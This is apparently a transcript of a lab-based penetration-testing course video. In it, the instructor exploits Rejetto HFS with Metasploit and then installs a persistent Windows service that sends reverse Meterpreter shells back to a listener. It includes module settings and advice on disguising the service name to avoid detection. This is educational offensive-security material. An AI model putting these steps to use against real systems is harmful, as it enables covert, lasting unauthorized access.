Establishing Persistence on Windows.
In this video, we will be exploring
the process of essentially establishing persistent access
to your Windows targets.
So let's get a bit of an introduction as to what
persistence is.
So persistence essentially consists of techniques
that adversaries or attackers use
to keep access to systems across restarts,
changed credentials, and other interruptions that
could cut off their access.
So what we're trying to do here is
we are trying to ensure that once we have gained access
to a target system, that we continue to maintain access
to the target system irregardless
of whether the system goes through a restart, irregardless
of whether the system is shut down for a long period of time
and then turns back on, irregardless of whether or not
credentials have been changed.
So, again, in the previous video,
we explored the process of utilizing
NTLM hashes to essentially authenticate or to perform
in authenticated code execution.
However, if the credentials or passwords have been changed,
the hashes will also change.
And we also need to ensure that when the system is restarted
or when the system is shut down and rebooted again,
that we still have access to the target system,
primarily through a Meterpreter session,
but we also need to ensure that we're not
relying on the actual vulnerable service
that we have exploited in order to gain our initial foothold.
So after you gain an initial foothold on the target system,
you need to set up and maintain persistent access
to your targets.
And the technique we will be exploring in this video
is the process of setting up a persistent service
on the target system that will constantly be running.
And what that means is that if we lose our Meterpreter
session, we can get it back almost instantaneously,
as long as the persistent service is
running on the target system.
So we don't have to rely on exploiting a service
to gain access, and we don't have to rely on credentials.
Once we've established, persistence we
can essentially gain access to the target system
whenever it's active or online.
So in order to facilitate all of this,
we will be utilizing various post-exploitation persistence
modules.
We are going to be focused primarily on one,
and we'll be using it to ensure that we always have access
to our target system.
So we can take a look at how to do this.
All you need to do is just fire up your lab environment
and we can get started.
So I'll see you within the lab.
All right, so I'm back in the lab environment.
And in this case, we get the target IP specified
for us, which is great.
So I'm just going to copy that.
And I'll open up a terminal and, of course,
go through the startup process.
So I am going to zoom in here a little bit.
And I'm going to start up the PostgreSQL database service.
So I'm going to say postgresql start.
And then we'll also start up MSF console.
So I'll say msfconsole.
There we are.
And that will start up the PostgreSQL database
server as well as MSF console.
So the first step will involve exploiting the target
or gaining access to the target, once we've gained access
to the target, we'll then need to set up persistence.
So I'll create a workspace here, and I'm just
going to call it Persistence.
And I'm going to set the global variable for the RHOSTS option.
And I'm going to specify the target IP address as the value
there.
That will save us from typing in the target IP address
whenever we load any modules.
So once that is done, we can perform a quick Nmap scan
on the target.
And we'll use the db_nmap command
to perform the Nmap scan from within the MSF console.
And this command will consequently
save all the Nmap scan results into the Metasploit Framework
database.
So we'll perform a service scan, and I'll
paste in the target IP.
So I'm just going to wait for this to complete.
All right, so the Nmap scan is complete.
And as you can see, on port 80, we
have the HTTP file server version 2.3.
So that is the rejetto HFS version 2.3,
which, again, we have exploited previously,
and it really is very simple at this point.
So we're just going to search for the rejetto exploit module.
There we are.
That's the one.
That's the remote command execution module.
So I'm going to say use, paste it in there.
And we can set the default payload
to windows/x64/meterpreter/reverse
tcp.
And we can then show the options for this module,
which are very few.
So the target IP specified, the target port
is set up correctly.
We know that the root-- or rather,
the actual TARGETURI as to where HFS is installed
is on the root of the web server.
So that's fine.
And we don't have an SSL certificate there.
As for the payload options, the LHOST IP
is specified for us automatically.
However, we can also set that manually by saying set LHOST
and then specifying the Ethernet 1 interface.
And we can also change the LPORT,
but I'm going to leave it as is.
And I'm just going to type in exploit.
All right, so we get our Meterpreter session.
So let's perform some system enumeration here.
So we can see this is a Windows Server 2012 R2 operating
system, or that's the actual version of Windows running.
The target operating system architecture is 64-bit.
And we have a 64-bit Meterpreter session, which is great.
If we get our current user privileges,
we can see that we currently have
access as the administrator user, which is very important.
Because in order to set up assistance,
you will require elevated privileges
or administrative privileges.
So that's something that you need to keep in mind.
And that's why we actually covered privilege escalation
on Windows first before we actually got to this step.
So you will need administrative access.
So now that we've gained access to the target system, what
we need to do is ensure that we can always get access
to the target system without having
to exploit the vulnerable service or the rejetto HTTP
file server.
Because we have to assume that at some point,
that particular piece of software or that service
will either be shut down or will be disabled
or it will actually be patched.
So we cannot rely on a vulnerable services in regards
to gaining access.
Once we've gained access to a system,
we've got our lucky break, so we need
to use that access very wisely.
So what we can do is put this in the background, which
is what I'm going to do.
And we are going to search for a specific type of module.
So we're going to say the type.
In this case, it's going to be a post-exploitation module.
And we can then specify the platform as Windows.
So what I'll do is I'll just say the platform is
going to be Windows.
And the name of the modules that we're interested in
are the persistence modules.
So I'll hit Enter.
And as you can see, we have quite a few persistence modules
here.
Now, they all work differently in regards to the techniques
that they use to establish persistent access right.
So if I just zoom out very briefly here,
you can see that under the description here,
it essentially tells you what this particular persistence
payload or exploit module does.
So in the case of the standard persistence module here,
it says that this will establish persistence via the Windows
Registry, which is great.
But, again, you really cannot rely on that.
And that essentially will allow you
to gain access to the target system whenever it's restarted.
So that's something that we cannot rely on.
We want something that is constantly running
and that can provide us with access whenever we lose access
or whenever we want to gain access.
So the module that we are looking for
is the persistence service module.
Now, the persistence service module
will essentially create a persistent service
that will, again, be paired with the Meterpreter payload.
And whenever we have a listener or a multi handler up
and running, we should be able to receive
a connection from the target.
So as you can see, here this is the Windows Persistence Service
Installer.
So we'll use this module in this case.
So I'm going to say use--
I'll say based in that particular module there.
And we'll set the payload to a 64-bit Meterpreter payload.
So I'm going to say set the payload to Windows.
And I'm going to say x64 Meterpreter reverse_tcp
and I'll show the options.
And what we need to specify now or what we can specify
is the actual REMOTE_EXE name, so this is the remote victim
name.
And we can also specify the REMOTE_EXE path.
In this case, we're not going to be specifying those options.
We can specify a service name.
So in this case, you may want to make the service
look as legitimate as possible.
Because users on the system may be
able to detect your service through the Task Manager.
So you can probably specify a service name
that blends in with the rest of the Windows Services.
And then we need to set the session.
So I'm going to set the session to 1.
And I'm not going to customize any of the other options.
We also can leave the LPORT option as port 4444
because, again, in this case, it's
not going to be executing the payload
or giving us a Meterpreter session.
It's essentially going to allow us
to do that once we set up our handler
and we terminate our current Meterpreter session just
to show you that it will work.
So once we have used this module or once we have set up
all the options, what we can do now
is we can essentially just hit run or exploit, whatever
is comfortable for you.
So I'll just type in exploit.
And as you can see here, it says that it only
supports Windows Meterpreter shell reversed stage payload.
So what we'll do is we will set the payload here
to the 32-bit Meterpreter payload.
So, again, it's fairly simple to do.
So we are going to say set the payload
to windows/meterpreter/reverse_tcp,
because we can always upgrade our Meterpreter session
to a 64-bit session.
And then we'll type in exploit.
All right, so it gives us the Meterpreter session.
So, again, if I just say get user ID,
there we are, NT AUTHORITY SYSTEM.
And if I terminate my session now
and if I list out my previous sessions,
you can see that we still have session 1.
So I'm going to say sessions kill, so I'm going
to kill all of the sessions.
And now, you can see that we don't have access at all.
So the way we can get access or gain back control of the target
system and obtain a Meterpreter session
is by using the multi handler.
So I'm going to say use multi/handler.
And I'm going to set the payload to the payload we specified
for the persistence module.
So payload is going to be windows/meterpreter/reverse_tcp.
And I'm going to show the options
and make sure we configure the LPORT and the LHOST options
to the values that we had set up.
So I'm going to say LHOST is Ethernet 1.
And then we're going to leave LPORT as 4444,
because that is what we specified for the persistence
module payload.
So we can then hit run and hit Enter.
And as you can see, we immediately
get a Meterpreter session.
So what's happening here is once we installed the persistence
service, once we've installed it, it's going to run
and it's going to continue to run, even across restarts.
And as long as we have a multi handler running or listening
for a connection from the target,
we should be able to receive a connection.
So you can see how useful this is.
So, again, if I say exit and then I hit run again,
you can see we get another Meterpreter session.
So we can get as many as required or we can get access
whenever we want, which is excellent.
So the key thing here is to always keep in mind
or take note of the LHOST and LPORT options
you specified when generating or specifying
the payload options for the persistence service module.
So it's very important that you keep that in mind.
And that is essentially how to establish persistence
on the target system.
As I said, there's multiple other techniques
that you can utilize.
But those techniques really are unstable.
And in my experience, this is probably
one of the best options to begin with in terms
of setting up and maintaining persistence on a target system.
So, again, even if I exit from msfconsole
and I start up a new session within a different workspace,
I can essentially go through the same process
and always receive a connection back from the target,
unless the persistence service is
terminated for whatever reason.
So I can say use multi/handler, set the payload
to windows/meterpreter/reverse_tcp.
Set the LHOST to Ethernet 1, and then I hit run.
There we are.
We get another Meterpreter session.
So it really, really is a very, very cool technique
that works extremely well.
So that is going to be it in regards
to the practical demonstration side of this video.
In the next video, we will be exploring
the process of enabling RDP on a Windows target
and consequently accessing the target via RDP.
So I'll see you in the next video.